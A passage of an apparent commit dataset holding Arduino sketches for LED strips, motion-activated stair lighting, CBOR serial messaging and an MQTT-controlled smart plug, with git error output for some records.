pixels.setPixelColor(on_pixel, pixels.Color(255,255,255)); \/\/ Moderately bright green color.\n pixels.show(); \/\/ This sends the updated pixel color to the hardware.\n pixels.setPixelColor(off_pixel, pixels.Color(0,0,0)); \/\/ Moderately bright green color.\n pixels.show(); \/\/ This sends the updated pixel color to the hardware.\n delay(delayval); \/\/ Delay for a period of time (in milliseconds).\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'multi_point_led\/multi_point_led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5170e50079a4f2af04c6a49839352fccacbcdcfb","subject":"add arduino code","message":"add arduino code\n","repos":"PolygonalTree\/Led-control,PolygonalTree\/Led-control","old_file":"Arduino Code\/leds_serial.ino","new_file":"Arduino Code\/leds_serial.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/leds_serial.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"155a2afc9e432128fef734cd6c81539dc68bddcd","subject":"Updated serial.ino for light pulses","message":"Updated serial.ino for light pulses","repos":"PolygonalTree\/Led-control,PolygonalTree\/Led-control","old_file":"Arduino Code\/leds_serial.ino","new_file":"Arduino Code\/leds_serial.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/leds_serial.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"7bc522ffb2c1792dbf9c1ac1b22c20a590729d08","subject":"Initial Alpha Code","message":"Initial Alpha Code\n","repos":"dmonty2\/ArduinoMotionStairLights","old_file":"ArduinoMotionStairLights.ino","new_file":"ArduinoMotionStairLights.ino","new_contents":"#include \"FastLED.h\"\n\/*\n * Jenn's colors RGB 0 0 81 BLUE\n * 0 100 100 Teal 006464\n * 60 100 100 Cool White 3C6464\n * 60 10 100 Violet 3C0A64\n * 60 0 50 Purple 3C0032\n * start white fades to Teal\n * violet to purple\n * teal to blue\n * red to blue\n *\/\n#define NUM_LEDS 26\n#define BRIGHTNESS 120 \/\/ 0...255\n#define UPDATES_PER_SECOND 100\n#define PIN_LED 3\n#define PIN_PIR_DOWN 5\n#define PIN_PIR_UP 7\n#define STEP_DELAY 200 \/\/ms = 1\/5th second.\n\nuint8_t lightsOn = LOW; \/\/ track lights on\/off\nuint8_t gHue = 0;\nuint8_t gStair = 0;\nuint8_t gBright = 0;\nuint8_t gStairStart = 0;\nuint8_t gStairEnd = 0;\n \nCRGB leds[NUM_LEDS];\n\n\n\n\nvoid setup() {\n delay (3000); \/\/ Power Up 3 second safety delay.\n Serial.begin(9600);\n FastLED.addLeds<WS2812B, PIN_LED, GRB>(leds, NUM_LEDS);\n \/\/FastLED.setBrightness(BRIGHTNESS);\n \/\/Serial.print(\"calibrating sensor \");\n pinMode(PIN_PIR_DOWN, INPUT);\n pinMode(PIN_PIR_UP, INPUT);\n digitalWrite(PIN_PIR_DOWN, LOW);\n digitalWrite(PIN_PIR_UP, LOW);\n Serial.println(\" done\");\n \/\/ Sparkle rainbow welcome give delay to calibrate pir sensors. This also indicates if program crashed.\n for ( int i = 0; i < 500; i++ ){\n rainbowWithGlitter();\n FastLED.show();\n FastLED.delay(8.3);\n EVERY_N_MILLISECONDS( 20 ) { gHue++; }\n }\n for (int tick=0; tick < 64; tick++){ \n for ( uint8_t i = 0; i < NUM_LEDS; i++ ){\n leds[i].fadeToBlackBy( 64 );\n FastLED.show();\n FastLED.delay(1);\n }\n }\n Serial.println(\"SENSOR ACTIVE\");\n}\n\n\/\/ Main Loop track PIR sensors.\nvoid loop() {\n \/\/ Walk Down.\n if ( digitalRead(PIN_PIR_UP) == HIGH ){\n if ( lightsOn == LOW ) {\n lightsOn = HIGH;\n \/\/fade7(1);\n \/\/walk(1);\n flicker(1);\n delay(50);\n }\n }\n \/\/ Walk Up.\n if ( digitalRead(PIN_PIR_DOWN) == HIGH ){\n if ( lightsOn == LOW ) {\n lightsOn = HIGH;\n \/\/fade7(-1); \/\/Up\n \/\/walk(-1); \/\/ Up\n flicker(-1);\n delay(50);\n }\n }\n}\n\nvoid walk(int8_t dir) {\n Serial.print(\"Walk dir: \");\n Serial.println(dir);\n static uint8_t hueStart = 208; \/\/purple;\n static uint8_t hueEnd = 160;\n static uint8_t hueShift = 0;\n static uint8_t brightTop = 200;\n static int i = 0;\n setStartEnd(dir);\n \n for(gStair=gStairStart; (dir == 1 && gStair < gStairEnd ) || (dir == -1 && gStair >= gStairEnd && gStair <= gStairStart+1 ); gStair+=(2*dir)) {\n \/\/ Fade in step\n hueShift = hueStart;\n for (gBright=0; gBright<=brightTop; gBright+=2) {\n leds[gStair] = CHSV( hueStart, 204, gBright ); \/\/ purple\n leds[gStair + 1*dir] = CHSV( hueStart, 204, gBright ); \/\/ purple\n if ( (dir == 1 && gStair >= 2) || (dir == -1 && gStair <= (gStairStart-2)) ) { \/\/ slide hue from pruple to blue on previous stair\n \/\/hueShift = hueShift + ((hueEnd-hueStart)\/brightTop*gBright); \/\/=D1+((160-240)\/200*10)\n if ( hueShift >= hueEnd ) {\n hueShift--;\n leds[gStair - 1*dir] = CHSV( hueShift, 204, 200 );\n leds[gStair - 2*dir] = CHSV( hueShift, 204, 200 );\n }\n }\n FastLED.show();\n \/\/FastLED.delay(1); \n }\n Serial.print(gStair);\n Serial.println(\" step\");\n }\n \n Serial.println(\"Last Stairs\");\n hueShift = hueStart;\n for (gBright=0; gBright<=brightTop; gBright+=2) {\n if ( hueShift >= hueEnd )\n \/\/hueShift = 1\/(hueShift + ((hueEnd-hueStart)\/brightTop*bright));\n hueShift--;\n leds[gStairEnd] = CHSV( hueShift, 204, 200 );\n leds[gStairEnd - 1*dir] = CHSV( hueShift, 204, 200 );\n FastLED.show();\n \/\/FastLED.delay(1); \n }\n \/\/Flash\n FastLED.delay(500); \n for(gStair=gStairStart; (dir == 1 && gStair <= gStairEnd ) || (dir == -1 && gStair >= gStairEnd && gStair <= gStairStart+1 ); gStair+=(2*dir)) {\n leds[gStair] = CRGB( 100, 100, 100);\n leds[gStair + 1*dir] = CRGB( 100, 100, 100);\n FastLED.show();\n }\n for(gStair=gStairStart; (dir == 1 && gStair <= gStairEnd ) || (dir == -1 && gStair >= gStairEnd && gStair <= gStairStart+1 ); gStair+=(2*dir)) {\n leds[gStair] = CHSV( hueEnd, 204, 200 );\n leds[gStair+1*dir] = CHSV( hueEnd, 204, 200 );\n FastLED.show();\n }\n \n \n Serial.println(\"Delay\");\n \/\/ Stay on for a bit\n fill_solid(leds, NUM_LEDS, CHSV( hueEnd, 204, 200 ));\n \/\/addGlitter(70);\n FastLED.show();\n FastLED.delay(5000);\n \n \/\/ Turn off steps\n Serial.println(\"Steps Off\");\n for(gStair=gStairStart; (dir == 1 && gStair <= gStairEnd ) || (dir == -1 && gStair >= gStairEnd && gStair <= gStairStart+1 ); gStair+=(2*dir)) {\n \/\/ Fade in step\n \/\/hueShift = hueStart;\n for (gBright=200; gBright>=1; gBright--) { \n leds[gStair] = CHSV(hueEnd, 204, gBright);\n leds[gStair + 1*dir] = CHSV(hueEnd, 204, gBright);\n FastLED.show();\n FastLED.delay(1); \n }\n leds[gStair].setHSV( 0, 0, 0);\n leds[gStair + 1*dir].setHSV( 0, 0, 0);\n FastLED.show();\n }\n lightsOn = LOW; \n \n Serial.println(\"Done\");\n}\n\n\/\/ startup rainbow\nvoid rainbow() \n{\n \/\/ FastLED's built-in rainbow generator\n fill_rainbow( leds, NUM_LEDS, gHue, 7);\n}\nvoid rainbowWithGlitter() \n{\n \/\/ built-in FastLED rainbow, plus some random sparkly glitter\n rainbow();\n addGlitter(80);\n}\n\nvoid addGlitter( fract8 chanceOfGlitter) \n{\n if( random8() < chanceOfGlitter) {\n leds[ random16(NUM_LEDS) ] += CRGB::Grey;\n }\n}\n\n\/\/ Candle flicker.\nvoid flicker(int8_t dir){\n setStartEnd(dir);\n static uint16_t i = 0;\n static uint8_t rnd = 0;\n uint8_t stair = 0;\n gBright = 0;\n for(gStair=gStairStart; (dir == 1 && gStair < gStairEnd ) || (dir == -1 && gStair >= gStairEnd && gStair <= gStairStart+1 ); gStair+=(2*dir)) {\n for( i = 0; i <= 18; i++ ) {\n for (stair = gStairStart; (dir == 1 && stair <= gStair ) || ( dir == -1 && stair >= gStair && stair <= gStairStart+1); stair+=(2*dir)) {\n rnd = random8(1, 4);\n if ( rnd == 2 ){\n gBright = random8(90,140);\n leds[stair] = CHSV( 60, 200, gBright );\n leds[stair + 1*dir] = CHSV( 60, 200, gBright );\n }\n FastLED.show();\n }\n }\n }\n \/\/ Wait\n Serial.println(\"Wait\");\n for ( i=0; i<=300; i++) {\n for( gStair = 0; gStair < NUM_LEDS; gStair+=2) { \n rnd = random8(1, 4);\n if ( rnd == 2 ){\n gBright = random8(90,140);\n leds[gStair] = CHSV( 60, 200, gBright );\n leds[gStair+1] = CHSV( 60, 200, gBright );\n }\n }\n FastLED.show();\n FastLED.delay(25);\n }\n Serial.println(\"Shutdown\");\n \/\/ Shutdown\n for(gStair=gStairStart; (dir == 1 && gStair <= gStairEnd ) || (dir == -1 && gStair >= gStairEnd && gStair <= gStairStart+1 ); gStair+=(2*dir)) {\n for( i = 0; i <= 18; i++) {\n for (stair = gStair; (dir == 1 && stair <= gStairEnd ) || ( dir == -1 && stair >= gStair && stair <= gStairStart+1); stair+=(2*dir)) {\n rnd = random8(1, 4);\n if ( rnd == 2 ){\n gBright = random8(90,140);\n leds[stair] = CHSV( 60, 200, gBright );\n leds[stair + 1*dir] = CHSV( 60, 200, gBright ); \n leds[gStair] = CRGB( 0,0,0 );\n leds[gStair + 1*dir] = CRGB( 0,0,0 );\n }\n FastLED.show();\n }\n }\n leds[gStair] = CRGB( 0,0,0 );\n leds[gStair + 1*dir] = CRGB( 0,0,0 );\n FastLED.show();\n FastLED.delay(25);\n }\n lightsOn = LOW; \n}\n\n\n\/\/ Fade7 effect.\nvoid fade7(int8_t dir){\n setStartEnd(dir);\n Serial.print(\"Fade7 dir: \");\n Serial.println(dir);\n const uint8_t mx = BRIGHTNESS;\n uint8_t r = mx;\n uint8_t g = 0;\n uint8_t b = 0;\n const uint8_t del = 25;\n boolean glitter = ( random8() < 120 );\n for(gStair=gStairStart; (dir == 1 && gStair < gStairEnd ) || (dir == -1 && gStair >= gStairEnd && gStair <= gStairStart+1 ); gStair+=(2*dir)) {\n for (r=0; r<mx; r+=2) {\n leds[gStair] = CRGB( r, g, b );\n leds[gStair + 1*dir] = CRGB( r, g, b );\n FastLED.show();\n FastLED.delay(1);\n }\n }\n for (b=0; b<mx; b++){\n fill_solid(leds, NUM_LEDS, CRGB( r, g, b ));\n if (glitter) addGlitter(80);\n FastLED.show();\n delay(del);\n }\n for (r=mx; r>0; r--){\n fill_solid(leds, NUM_LEDS, CRGB( r, g, b ));\n if (glitter) addGlitter(70);\n FastLED.show();\n delay(del);\n }\n for (g=0; g<mx; g++){\n fill_solid(leds, NUM_LEDS, CRGB( r, g, b ));\n if (glitter) addGlitter(60);\n FastLED.show();\n delay(del);\n }\n for (b=mx; b>0; b--){\n fill_solid(leds, NUM_LEDS, CRGB( r, g, b ));\n if (glitter) addGlitter(50);\n FastLED.show();\n delay(del);\n }\n for (r=0; r<mx; r++){\n fill_solid(leds, NUM_LEDS, CRGB( r, g, b ));\n if (glitter) addGlitter(40);\n FastLED.show();\n delay(del);\n }\n for (b=0; b<mx; b++){\n fill_solid(leds, NUM_LEDS, CRGB( r, g, b ));\n if (glitter) addGlitter(30);\n FastLED.show();\n delay(del);\n }\n for (b=mx; b>0; b--){\n g=b;\n fill_solid(leds, NUM_LEDS, CRGB( r, g, b ));\n if (glitter) addGlitter(10);\n FastLED.show();\n delay(del);\n }\n for(gStair=gStairStart; (dir == 1 && gStair <= gStairEnd ) || (dir == -1 && gStair >= gStairEnd && gStair <= gStairStart+1 ); gStair+=(2*dir)) {\n for (r=mx; r>1; r--) { \n leds[gStair] = CRGB( r, g, b );\n leds[gStair + 1*dir] = CRGB( r, g, b );\n FastLED.show();\n FastLED.delay(1); \n }\n r = 0; g = 0; b = 0;\n leds[gStair] = CRGB( r, g, b );\n leds[gStair + 1*dir] = CRGB( r, g, b );\n FastLED.show();\n }\n lightsOn = LOW; \n}\n\nvoid setStartEnd(int8_t dir){\n if (dir == 1){ \/\/Down\n gStairStart = 0;\n gStairEnd = NUM_LEDS-1;\n } else {\n gStairStart = NUM_LEDS-1;\n gStairEnd = 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoMotionStairLights.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"717a5472434b140544daa771a93cc62626e581a7","subject":"is this enough to move?? (adding output to check it )","message":"is this enough to move?? (adding output to check it )\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"617e7eb71f6cc55ea411a0b6b9f1ffb8ad31b7a3","subject":"Added Cbor Serialbuffer send example.","message":"Added Cbor Serialbuffer send example.\n","repos":"jjtara\/Library-Arduino-Cbor","old_file":"Cbor\/Examples\/Cbor_Serialbuffer_send\/Cbor_Serialbuffer_send.ino","new_file":"Cbor\/Examples\/Cbor_Serialbuffer_send\/Cbor_Serialbuffer_send.ino","new_contents":"\/*\n\nArduino Sketch to show how Send Encode Cbor package via Serial port\n\nAuthor: Juanjo Tara \nemail: j.tara@arduino.cc\ndate: 24\/04\/2015\n*\/\n\n\n#include \"CborEncoder.h\"\n#include \"SerialBuffer.h\"\n\n#define SERIAL_PORT Serial\n\n#define BUFFER_SIZE 32\nunsigned char buffer[BUFFER_SIZE];\n\n\/\/ declare the serial buffer\nSerialBuffer serialBuffer;\n\n\nvoid setup() {\n \n \/\/ set up the buffer storage and maximum size\n serialBuffer.buffer = buffer;\n serialBuffer.bufferSize = BUFFER_SIZE;\n\n \/\/ reset the buffer\n serialBuffer.reset();\n Serial.begin(115200);\n randomSeed(analogRead(0));\n\n}\n\nvoid loop() {\n\n testSerialPort();\n\n int maxBytes = SERIAL_PORT.available();\n while (maxBytes--) {\n\n byte inputByte = SERIAL_PORT.read();\n\n \/\/ present the input byte to the serial buffer for decoding\n \/\/ whenever receive() returns >= 0, there's a complete message\n \/\/ in the buffer ready for processing at offset zero.\n \/\/ (return value is message length)\n int bufferStatus = serialBuffer.receive(inputByte);\n\n if (bufferStatus >= 0) {\n\n \/\/ handle message\n \/\/ ...\n \/\/ ...\n\n }\n }\n delay(100);\n \n}\n\nvoid testSerialPort() {\n CborStaticOutput output(32);\n CborWriter writer(output);\n \/\/Write a Cbor Package with a number and String \n int randNumb = random(15);\n for(int i = 0; i < randNumb; i++) {\n int numb = random(300);\n writer.writeInt(numb);\n }\n \/\/writer.writeInt(0x7F);\n \/\/writer.writeInt(0x7E);\n \/\/writer.writeInt(0x7D);\n \/\/writer.writeString(\"Hello David\");\n \/\/writer.writeInt(321);\n\n \/\/get length and data of cbor package \n unsigned char *datapkg = output.getData();\n int length = output.getSize();\n serialBuffer.startMessage();\n for(int i = 0; i < length; i++) {\n serialBuffer.write(datapkg[i]);\n }\n serialBuffer.endMessage();\n \/\/print in Serial port the Data length and Cbor in binary\n \/\/Serial.print(\"datalength:\");\n \/\/Serial.print(output.getSize());\n \/\/Serial.println(output.getSize());\n Serial.write(serialBuffer.buffer, serialBuffer.messageLength());\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Cbor\/Examples\/Cbor_Serialbuffer_send\/Cbor_Serialbuffer_send.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7c6163b6c3915a91df4ef713e66f1ec85df298fa","subject":"Fix for stablity","message":"Fix for stablity\n","repos":"yunbademo\/yunba-smartoffice,shdxiang\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,shdxiang\/yunba-smartoffice,yunbademo\/yunba-smartoffice","old_file":"sketch_yunba\/sketch_yunba.ino","new_file":"sketch_yunba\/sketch_yunba.ino","new_contents":"#include <UIPEthernet.h>\n#include <ArduinoJson.h>\n#include <MQTTClient.h>\n\nconst char *g_appkey = \"56a0a88c4407a3cd028ac2fe\";\nconst char *g_topic = \"office\";\nconst char *g_devid = \"plug_plc\";\n\n#define BUFSIZE 192\n#define JSON_BUFSIZE 96\n#define PIN_CONTROL 4\n\nuint8_t mac[] = {0xb0, 0x5a, 0xda, 0x3a, 0x2e, 0x7e};\n\nboolean g_net_status = false;\nchar url[24];\n\nchar broker_addr[24];\nuint16_t port;\n\nunsigned int g_last_check_ms = 0;\nchar client_id[24];\nchar username[24];\nchar password[16];\n\nEthernetClient net;\nMQTTClient client;\n\nbool get_ip_port(const char *url, char *addr, uint16_t *port) {\n char *p = strstr(url, \"tcp:\/\/\");\n if (p) {\n p += 6;\n char *q = strstr(p, \":\");\n if (q) {\n int len = strlen(p) - strlen(q);\n if (len > 0) {\n memcpy(addr, p, len);\n \/\/sprintf(addr, \"%.*s\", len, p);\n *port = atoi(q + 1);\n Serial.print(\"i:\");\n Serial.println(addr);\n Serial.print(\"p:\");\n Serial.println(*port);\n return true;\n }\n }\n }\n return false;\n}\n\nvoid simple_send_recv(uint8_t *buf, uint16_t *len, const char *host, uint16_t port) {\n EthernetClient net_client;\n\n while (0 == net_client.connect(host, port)) {\n Serial.println(\"c\");\n delay(1000);\n }\n delay(100);\n\n net_client.write(buf, *len);\n net_client.flush();\n\n while (!net_client.available()) {\n Serial.println(\"a\");\n delay(1000);\n }\n\n *len = net_client.read(buf, BUFSIZE - 1);\n buf[*len] = 0;\n\n net_client.stop();\n}\n\nvoid simple_send_recv2(uint8_t *buf, uint16_t *len, IPAddress ip, uint16_t port) {\n EthernetClient net_client;\n\n while (0 == net_client.connect(ip, port)) {\n Serial.println(\"c\");\n delay(1000);\n }\n delay(100);\n\n net_client.write(buf, *len);\n net_client.flush();\n\n while (!net_client.available()) {\n Serial.println(\"a\");\n delay(1000);\n }\n\n *len = net_client.read(buf, BUFSIZE - 1);\n buf[*len] = 0;\n\n net_client.stop();\n}\n\nbool get_host_v2(const char *appkey, char *url) {\n uint8_t buf[BUFSIZE];\n\n String data(\"{\\\"a\\\":\\\"\");\n data += String(appkey);\n data += String(\"\\\",\\\"n\\\":\\\"1\\\",\\\"v\\\":\\\"v1.0\\\",\\\"o\\\":\\\"1\\\"}\");\n uint16_t len = data.length();\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n memcpy(buf + 3, data.c_str(), len);\n len += 3;\n\n buf[len] = 0;\n Serial.println((char *)buf + 3);\n\n\/\/ simple_send_recv(buf, &len, \"tick-t.yunba.io\", 9977);\n\n IPAddress ip(101, 200, 229, 48);\n simple_send_recv2(buf, &len, ip, 9977);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(url, root[\"c\"]);\n return true;\n }\n }\n }\n Serial.println(\"e1\");\n return false;\n}\n\nbool setup_with_appkey_and_devid(const char *appkey, const char *devid) {\n uint8_t buf[BUFSIZE];\n\n if (appkey == NULL) return false;\n\n String data(\"{\\\"a\\\": \\\"\");\n data += String(appkey);\n\n if (devid == NULL) {\n data += String(\"\\\", \\\"p\\\":4}\");\n } else {\n data += String(\"\\\", \\\"p\\\":4, \\\"d\\\": \\\"\");\n data += String(devid);\n data += String(\"\\\"}\");\n }\n uint16_t len = data.length();\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n memcpy(buf + 3, data.c_str(), len);\n len += 3;\n\n buf[len] = 0;\n Serial.println((char *)buf + 3);\n\n\/\/ simple_send_recv(buf, &len, \"reg-t.yunba.io\", 9944);\n\n IPAddress ip(182, 92, 105, 230);\n simple_send_recv2(buf, &len, ip, 9944);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(username, root[\"u\"]);\n strcpy(password, root[\"p\"]);\n strcpy(client_id, root[\"c\"]);\n return true;\n }\n }\n }\n\n Serial.println(\"e2\");\n return false;\n}\n\nvoid set_alias(const char *alias) {\n client.publish(\",yali\", alias);\n}\n\nvoid connect() {\n\/\/ Serial.print(\"\\nconnecting...\");\n while (!client.connect(client_id, username, password)) {\n\/\/ Serial.print(\".\");\n delay(1000);\n }\n\n\/\/ Serial.println(\"\\nconnected!\");\n\/\/ client.subscribe(g_topic);\n set_alias(g_devid);\n}\n\nvoid check_connect() {\n if (millis() - g_last_check_ms > 2000) {\n boolean st = client.connected();\n\/\/ Serial.println(st);\n if (st != g_net_status) {\n Serial.print(\"cst:\");\n g_net_status = st;\n Serial.println(g_net_status);\n }\n\n if (!st) {\n connect();\n }\n g_last_check_ms = millis();\n }\n}\n\nvoid plug_set(uint8_t status) {\n if (status == 0) {\n Serial.println(0);\n digitalWrite(PIN_CONTROL, LOW);\n } else if (status == 1) {\n Serial.println(1);\n digitalWrite(PIN_CONTROL, HIGH);\n }\n}\n\nvoid messageReceived(String topic, String payload, char *bytes, unsigned int length) {\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n\n Serial.println(payload);\n\n JsonObject& root = jsonBuffer.parseObject(payload);\n if (!root.success()) {\n Serial.println(\"bad json\");\n return;\n }\n\n if (strcmp(root[\"devid\"], g_devid) != 0) {\n Serial.println(\"bad devid\");\n return;\n }\n\n if (strcmp(root[\"cmd\"], \"plug_set\") == 0) {\n uint8_t st = root[\"status\"];\n plug_set(st);\n }\n}\n\nvoid extMessageReceived(EXTED_CMD cmd, int status, String payload, unsigned int length) {\n Serial.println(\"em\");\n}\n\nvoid init_ethernet() {\n IPAddress ip(192,168,2,183);\n \n Ethernet.begin(mac, ip);\n\/\/ Ethernet.begin(mac);\n\n Serial.print(\"i:\"); \n Serial.println(Ethernet.localIP());\n Serial.print(\"s:\"); \n Serial.println(Ethernet.subnetMask());\n Serial.print(\"g:\"); \n Serial.println(Ethernet.gatewayIP());\n Serial.print(\"d:\"); \n Serial.println(Ethernet.dnsServerIP());\n\n}\n\nvoid setup() {\n\n Serial.begin(57600);\n Serial.println(\"init..\");\n\n pinMode(PIN_CONTROL, OUTPUT);\n digitalWrite(PIN_CONTROL, HIGH);\n init_ethernet();\n\n \/\/TODO: if we can't get reg info and tick info\n get_host_v2(g_appkey, url);\n get_ip_port(url, broker_addr, &port);\n\n setup_with_appkey_and_devid(g_appkey, g_devid);\n\n client.begin(broker_addr, port, net);\n connect();\n Serial.println(\"init..ok\");\n}\n\nvoid loop() {\n client.loop();\n\n check_connect();\n\n#if 0\n if (millis() - g_last_check_ms > 20000) {\n g_last_check_ms = millis();\n client.publish(g_topic, \"test\");\n }\n#endif\n delay(100);\n}\n\n\n","old_contents":"#include <UIPEthernet.h>\n#include <ArduinoJson.h>\n#include <MQTTClient.h>\n\nconst char *g_appkey = \"56a0a88c4407a3cd028ac2fe\";\nconst char *g_topic = \"office\";\nconst char *g_devid = \"plug_plc\";\n\n#define BUFSIZE 192\n#define JSON_BUFSIZE 256\n#define PIN_CONTROL 4\n\nuint8_t mac[] = {0xb0, 0x5a, 0xda, 0x3a, 0x2e, 0x7e};\n\nboolean g_net_status = false;\nchar url[24];\n\nchar broker_addr[24];\nuint16_t port;\n\nunsigned int g_last_check_ms = 0;\nchar client_id[24];\nchar username[24];\nchar password[16];\n\nEthernetClient net;\nMQTTClient client;\n\nbool get_ip_port(const char *url, char *addr, uint16_t *port) {\n char *p = strstr(url, \"tcp:\/\/\");\n if (p) {\n p += 6;\n char *q = strstr(p, \":\");\n if (q) {\n int len = strlen(p) - strlen(q);\n if (len > 0) {\n memcpy(addr, p, len);\n \/\/sprintf(addr, \"%.*s\", len, p);\n *port = atoi(q + 1);\n Serial.print(\"i:\");\n Serial.println(addr);\n Serial.print(\"p:\");\n Serial.println(*port);\n return true;\n }\n }\n }\n return false;\n}\n\nvoid simple_send_recv(uint8_t *buf, uint16_t *len, const char *host, uint16_t port) {\n EthernetClient net_client;\n\n while (0 == net_client.connect(host, port)) {\n Serial.println(\"c\");\n delay(1000);\n }\n delay(100);\n\n net_client.write(buf, *len);\n net_client.flush();\n\n while (!net_client.available()) {\n Serial.println(\"a\");\n delay(1000);\n }\n\n *len = net_client.read(buf, BUFSIZE - 1);\n buf[*len] = 0;\n\n net_client.stop();\n}\n\nvoid simple_send_recv2(uint8_t *buf, uint16_t *len, IPAddress ip, uint16_t port) {\n EthernetClient net_client;\n\n while (0 == net_client.connect(ip, port)) {\n Serial.println(\"c\");\n delay(1000);\n }\n delay(100);\n\n net_client.write(buf, *len);\n net_client.flush();\n\n while (!net_client.available()) {\n Serial.println(\"a\");\n delay(1000);\n }\n\n *len = net_client.read(buf, BUFSIZE - 1);\n buf[*len] = 0;\n\n net_client.stop();\n}\n\nbool get_host_v2(const char *appkey, char *url) {\n uint8_t buf[BUFSIZE];\n\n String data(\"{\\\"a\\\":\\\"\");\n data += String(appkey);\n data += String(\"\\\",\\\"n\\\":\\\"1\\\",\\\"v\\\":\\\"v1.0\\\",\\\"o\\\":\\\"1\\\"}\");\n uint16_t len = data.length();\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n memcpy(buf + 3, data.c_str(), len);\n len += 3;\n\n buf[len] = 0;\n Serial.println((char *)buf + 3);\n\n\/\/ simple_send_recv(buf, &len, \"tick-t.yunba.io\", 9977);\n\n IPAddress ip(101, 200, 229, 48);\n simple_send_recv2(buf, &len, ip, 9977);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(url, root[\"c\"]);\n return true;\n }\n }\n }\n Serial.println(\"e1\");\n return false;\n}\n\nbool setup_with_appkey_and_devid(const char *appkey, const char *devid) {\n uint8_t buf[BUFSIZE];\n\n if (appkey == NULL) return false;\n\n String data(\"{\\\"a\\\": \\\"\");\n data += String(appkey);\n\n if (devid == NULL) {\n data += String(\"\\\", \\\"p\\\":4}\");\n } else {\n data += String(\"\\\", \\\"p\\\":4, \\\"d\\\": \\\"\");\n data += String(devid);\n data += String(\"\\\"}\");\n }\n uint16_t len = data.length();\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n memcpy(buf + 3, data.c_str(), len);\n len += 3;\n\n buf[len] = 0;\n Serial.println((char *)buf + 3);\n\n\/\/ simple_send_recv(buf, &len, \"reg-t.yunba.io\", 9944);\n\n IPAddress ip(182, 92, 105, 230);\n simple_send_recv2(buf, &len, ip, 9944);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(username, root[\"u\"]);\n strcpy(password, root[\"p\"]);\n strcpy(client_id, root[\"c\"]);\n return true;\n }\n }\n }\n\n Serial.println(\"e2\");\n return false;\n}\n\nvoid set_alias(const char *alias) {\n client.publish(\",yali\", alias);\n}\n\nvoid connect() {\n\/\/ Serial.print(\"\\nconnecting...\");\n while (!client.connect(client_id, username, password)) {\n\/\/ Serial.print(\".\");\n delay(1000);\n }\n\n\/\/ Serial.println(\"\\nconnected!\");\n\/\/ client.subscribe(g_topic);\n set_alias(g_devid);\n}\n\nvoid check_connect() {\n if (millis() - g_last_check_ms > 2000) {\n boolean st = client.connected();\n\/\/ Serial.println(st);\n if (st != g_net_status) {\n Serial.print(\"cst:\");\n g_net_status = st;\n Serial.println(g_net_status);\n }\n\n if (!st) {\n connect();\n }\n g_last_check_ms = millis();\n }\n}\n\nvoid plug_set(uint8_t status) {\n if (status == 0) {\n Serial.println(0);\n digitalWrite(PIN_CONTROL, LOW);\n } else if (status == 1) {\n Serial.println(1);\n digitalWrite(PIN_CONTROL, HIGH);\n }\n}\n\nvoid messageReceived(String topic, String payload, char *bytes, unsigned int length) {\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n Serial.println(\"m\");\n\/\/ Serial.println(length);\n\/\/ Serial.println(bytes);\n\n JsonObject& root = jsonBuffer.parseObject(bytes);\n if (!root.success()) {\n Serial.println(\"bad 